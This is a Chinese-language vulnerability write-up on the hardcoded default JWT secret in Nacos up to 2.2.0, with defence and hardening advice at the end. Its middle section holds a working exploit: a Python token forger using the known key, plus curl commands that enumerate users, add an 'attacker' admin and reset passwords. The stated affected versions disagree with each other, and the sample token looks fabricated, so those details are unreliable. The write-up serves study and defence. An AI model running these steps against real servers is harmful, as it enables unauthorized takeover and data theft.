Nacos ＜=2.2.0 JWT 默认密钥漏洞复现：3步构造有效Token接管后台

Nacos <=2.2.0 JWT 默认密钥漏洞实战：从原理到防御的深度解析

漏洞背景与影响范围

在云原生技术快速发展的今天，服务发现与配置管理平台已成为现代应用架构的核心组件。作为阿里巴巴开源的一款重要产品，Nacos（Naming and Configuration Service）因其轻量级、易用性等特点，被广泛应用于微服务架构中。然而，安全研究人员发现Nacos在2.1.0及更早版本中存在一个严重的设计缺陷——系统采用硬编码的JWT密钥进行身份认证，这直接导致攻击者可以构造有效令牌实现未授权访问。

该漏洞影响范围包括0.1.0至2.2.0的所有Nacos版本，特别是那些开启了鉴权功能但未修改默认密钥的系统。攻击者利用此漏洞可完全绕过身份验证机制，直接访问系统敏感数据甚至接管整个Nacos控制台。

漏洞核心问题在于Nacos早期版本中nacos.core.auth.default.token.secret.key使用了固定值SecretKey012345678901234567890123456789012345678901234567890123456789，且官方文档未对密钥修改做足够强调，导致大量生产环境暴露在风险中。

JWT机制与漏洞原理深度剖析

JWT工作机制详解

JSON Web Token（JWT）是一种开放标准（RFC 7519），用于在各方之间安全传输信息作为JSON对象。JWT由三部分组成，通过点号连接：

header.payload.signature

• Header：通常包含令牌类型（typ）和签名算法（alg），如HS256

{ "alg": "HS256", "typ": "JWT" }

• Payload：包含声明（claims），即关于实体和其他数据的声明

{ "sub": "nacos", "exp": 1679061046 }

• Signature：对编码后的header和payload使用密钥进行签名验证

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

Nacos认证流程缺陷

在受影响版本中，Nacos的认证流程存在以下关键问题：

1. 硬编码密钥：系统使用固定不变的HS256算法密钥
2. 无密钥轮换机制：缺乏自动化的密钥更新策略
3. 宽松的令牌验证：对过期时间(exp)等关键字段校验不严格

当客户端携带JWT访问Nacos时，服务端会使用默认密钥验证签名。由于攻击者知晓该密钥，可以伪造任意用户的合法令牌，实现身份认证绕过。

漏洞环境搭建与复现

实验环境准备

为完整复现该漏洞，我们需要搭建以下环境：

使用Docker快速启动漏洞版本Nacos：

docker run --name nacos-2.2.0 -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8848:8848 -d nacos/nacos-server:2.2.0

JWT生成与利用

利用Python的PyJWT库生成有效令牌：

import jwt # 默认密钥 secret = "SecretKey012345678901234567890123456789012345678901234567890123456789" # 构造恶意payload payload = { "sub": "nacos", # 伪装管理员 "exp": 9999999999 # 设置超长过期时间 } # 生成token token = jwt.encode(payload, secret, algorithm="HS256") print(f"生成Token: {token}")

生成的Token示例：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V

实战攻击步骤

1. 获取用户列表（需替换实际IP和端口）：

curl -X GET "http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V"

2. 创建新管理员账户：

curl -X POST "http://target:8848/nacos/v1/auth/users" \ -H "Authorization: Bearer [TOKEN]" \ -d "username=attacker&password=Hack@1234"

3. 修改现有用户密码：

curl -X PUT "http://target:8848/nacos/v1/auth/users" \ -H "Authorization: Bearer [TOKEN]" \ -d "username=nacos&newPassword=NewPassword123"

注意：实际测试中，不同Nacos版本API路径可能略有差异，2.2.0版本需要添加search参数

自动化检测与利用工具

安全研究人员已开发多种工具简化检测流程，以下是典型工具对比：

以Python实现的简易检测脚本为例：

import requests import jwt def check_vulnerability(target): try: secret = "SecretKey012345678901234567890123456789012345678901234567890123456789" token = jwt.encode({"sub":"nacos"}, secret, algorithm="HS256") headers = {"Authorization": f"Bearer {token}"} resp = requests.get(f"{target}/nacos/v1/auth/users", headers=headers) if resp.status_code == 200 and "username" in resp.text: return True, token except Exception as e: pass return False, None

防御方案与最佳实践

紧急修复措施

1. 立即升级Nacos版本：

   • 升级到2.2.0.1+或1.4.5+版本
   • 新版本已移除默认密钥并强制要求自定义

2. 修改密钥配置： 在application.properties中添加：

nacos.core.auth.default.token.secret.key=YourNewSecureKeyBase64Encoded nacos.core.auth.plugin.nacos.token.expire.seconds=1800

3. 网络层防护：
   • 限制Nacos控制台的公网访问
   • 配置IP白名单和网络ACL

长期安全加固

1. 密钥管理策略：

   • 使用KMS服务管理密钥
   • 定期轮换密钥（建议每90天）
   • 不同环境使用不同密钥

2. 增强JWT验证：

   • 严格校验exp、nbf等时间字段
   • 实现令牌吊销机制
   • 添加issuer(iss)和audience(aud)验证

3. 监控与审计：

   -- 示例：监控异常登录的SQL查询 SELECT * FROM access_log WHERE operation_type = 'LOGIN' AND result = 'FAILURE' AND timestamp > NOW() - INTERVAL '5 minutes' GROUP BY ip_address HAVING COUNT(*) > 3;

漏洞深度分析与延伸思考

漏洞根本原因

该漏洞反映了软件开发中常见的安全反模式：

1. 安全默认为空：系统应以最安全状态交付，而非方便性优先
2. 文档缺失：关键安全配置缺乏醒目说明
3. 防御深度不足：缺乏二次认证等补偿控制

云原生安全启示

1. 零信任架构：不应依赖单一认证因素
2. Secrets管理：使用Vault等专业工具而非硬编码
3. 持续威胁建模：在SDLC各阶段考虑安全

在企业实际环境中，我曾遇到一个典型案例：某金融公司测试环境Nacos暴露公网且使用默认密钥，导致攻击者获取了所有微服务的数据库配置。这提醒我们，安全需要体系化建设，不能存在任何短板。